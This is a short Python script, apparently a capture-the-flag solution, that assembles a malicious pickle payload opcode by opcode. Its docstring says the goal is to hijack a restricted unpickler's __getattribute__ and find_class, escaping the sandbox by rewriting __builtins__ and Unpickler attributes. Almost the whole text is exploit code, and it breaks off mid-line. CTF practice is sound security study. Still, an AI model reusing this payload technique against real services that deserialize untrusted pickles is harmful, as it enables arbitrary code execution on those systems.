""" overwrite `up.__getattribute__` with `__main__.__getattribute__` so `self.find_class` becomes `__main__.find_class` which you control. """ from pickle import * pkl2 = b"0\n1\n2\n3\n4\n7\n5\n6\n7\n8\n9\n10\n13\n11\n12\n13\n14\n15\n" pkl = PROTO + b"\x04" # get builtins pkl += GLOBAL + b"__main__\n__main__\n" pkl += GLOBAL + b"__main__\n__builtins__\n" pkl += BUILD pkl += POP # set stuff (dict) pkl += GLOBAL + b"__main__\n__dict__\n" pkl += MARK pkl += STRING + b'"find_class"\n' pkl += GLOBAL + b"__main__\ngetattr\n" pkl += STRING + b'"persistent_load"\n' pkl += GLOBAL + b"__main__\nprint\n" pkl += STRING + b'"str"\n' pkl += TRUE pkl += SETITEMS pkl += GLOBAL + b"__main__\nUnpickler\n" # set builtins im hijacking pkl += GLOBAL + b"__main__\n__builtins__\n" pkl += MARK pkl += STRING + b'"str"\n' pkl += TRUE pkl += STRING + b'"next"\n' pkl += GLOBAL + b"__main__\nBytesIO\n" pkl += SETITEMS pkl += POP * 2 # create a tuple for later pkl += GLOBAL + b"__main__\nUnpickler\n" pkl += MARK pkl += NONE pkl += MARK pkl += STRING + b'"__getattribute__"\n' pkl += GLOBAL + b"__main__\n__getattribute__\n" pkl += DICT pkl += TUPLE pkl += PUT + b"0\n" pkl += MARK pkl += STRING + b'"hi"\n' pkl += LIST pkl += PUT + b"1\n" pkl += GLOBAL + b"__main__\nup\n" pkl += MARK pkl += NONE pkl += MARK pkl += STRING + b'"_buffers"\n' from struct import pack pkl += BINBYTES + pack("